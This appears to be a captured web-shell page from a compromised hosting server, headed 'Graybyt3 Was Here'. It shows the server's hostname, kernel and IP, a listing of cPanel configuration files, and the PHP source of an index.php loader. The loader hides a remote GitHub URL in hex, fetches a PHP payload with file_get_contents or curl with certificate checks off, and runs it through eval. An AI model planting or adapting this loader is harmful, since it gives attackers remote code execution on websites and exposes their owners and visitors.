Graybyt3 Was Here

Linux vps-4656817-x.dattaweb.com 5.14.0-570.33.2.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 14 07:37:35 EDT 2025 x86_64
Apache
200.58.107.103

index.php

<?php
$hexUrl = '68747470733a2f2f7261772e6769746875622e636f6d2f5a75616e58506c6f69742f546573742f726566732f68656164732f6d61737465722f6261746f7361792e706870';

function hex2str($hex) {
    $str = '';
    for ($i = 0; $i < strlen($hex) - 1; $i += 2) {
        $str .= chr(hexdec($hex[$i] . $hex[$i + 1]));
    }
    return $str;
}

$url = hex2str($hexUrl);

function downloadWithFileGetContents($url) {
    if (ini_get('a' . 'llow' . '_ur' . 'l_fo' . 'pe' . 'n')) {
        return file_get_contents($url);
    }
    return false;
}

function downloadWithCurl($url) {
    if (function_exists('c' . 'u' . 'rl' . '_i' . 'n' . 'i' . 't')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $data = curl_exec($ch);
        curl_close($ch);
        return $data;
    }
    return false;
}

$phpScript = downloadWithFileGetContents($url);
if ($phpScript === false) {
    $phpScript = downloadWithCurl($url);
}
if ($phpScript === false) {
    $phpScript = downloadWithFopen($url);
}

if ($phpScript === false) {
    die("Gagal mendownload script PHP dari URL dengan semua metode.");
}

eval('?>' . $phpScript);
?>

System Information
*ReClick For Close
File : BlackDragon /acciones/about.php

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	bienesraicess/bienesraicess	0700	2025-09-01 03:13:52
..	dir	-	bienesraicess/bienesraicess	0700	2025-05-25 04:34:30
_etc_cpanel_ea4_paths.conf___default_equal_space_seperated_config	file	724 B	bienesraicess/bienesraicess	0600	2025-09-01 03:13:52
_etc_cpupdate.conf___default	file	108 B	bienesraicess/bienesraicess	0600	2025-01-29 04:06:57
_etc_domainips___default_colon_with_one_space	file	2 B	bienesraicess/bienesraicess	0600	2025-09-01 03:13:47
_etc_remotedomains___3508983880	file	2 B	bienesraicess/bienesraicess	0600	2025-02-15 07:42:31
index.php	file	1.51 KB	bienesraicess/bienesraicess	0644	2025-05-20 07:21:46